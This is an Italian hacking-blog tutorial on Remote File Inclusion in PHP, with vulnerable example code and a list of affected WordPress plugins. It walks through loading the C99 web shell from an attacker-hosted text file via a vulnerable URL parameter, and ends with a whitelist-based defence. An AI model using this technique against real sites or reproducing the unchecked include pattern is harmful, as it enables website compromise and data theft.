DISCLAIMER!

Le informazioni (e i download, quindi tutti i file contenuti nel blog) da me divulgate sono da ritenersi a puro scopo informativo e di studio. Non mi assumo nessuna responsabilità riguardante l'uso improprio e/o illecito delle tecniche e dei programmi qui descritti e di tutti i danni a cose e persone e/o perdite di guadagni che ne possano derivare. Il blog non vuole istigare nessuno a delinquere o a commettere reati. Le tecniche qui descritte sono da utilizzare a proprio rischio e pericolo.

Traduci Il Blog In




Cerca in Xthreme Hacking!

RFI (Remote File Inclusion)


Un RFI (remote file inclusion) è una vulnerabilità che affligge i servizi web con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili

GET e POST del php. la vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata. Questo è un semplice esempio di un codice

vulnerabile:

CODICE
$var = $_GET['var'];
include ($var);
?>

con una conoscenza anche limitata del php è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'url)a piacere si puo vedere in azione il bug.
CODICE
http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it


in questo caso la variabile var assume il valore dell'url immessa e nella pagina sara inclusa la index di miositoincluso.it

COME FUNZIONA L'ATTACCO:

se c'è la possibilità di un inclusione arbitrale di codice php un Cracker puo incudere la shell C99. La C99 è una Shell scritta in PHP,

bisogna dapprima uploadare su un proprio sito web (ad esempio su altervista) una versione in php della shell e

hostare su un altro dominio web una versione in txt della shell.

Dopo di che scegliere il sito da colpire seguito dalla variabile buggata (in questo caso "var") e dall'indirizzo dove avete uplodato la vostra shell in txt.

ESEMPIO:
CODICE
http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/C99.txt


da notare che la pagina da includere non deve essere in php (perche se no viene incluso solo l'out-put generato della pagina e non il codice vero e proprio)

Ora, aggiornando la pagina (quella della shell in php), avremo i file che compongono il sito!

E' noto che la vulnerabilità è presente nei siti che hanno il plugin per WordPress My_eGallery precedenti alla versione 3.1.1 g, myflash fino alla

versione 1.00, wp-Table fino alla 1.43, wordTube fino alla 1.43.
----------------------------------------------------------------------------------------------------------------------------------------------------------------
COME DIFENDERSI:

In genere quando si deve includere una pagina esterna in una applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine,

e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della mia variabile GET, e a seconda del valore includere la pagina

desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.
CODICE
http://miosito.it/index.php?var=1


poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito esempio:
CODICE
$var = $_GET['var'];
if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
else die('hacking attemped');
?>

Nessun commento:

Posta un commento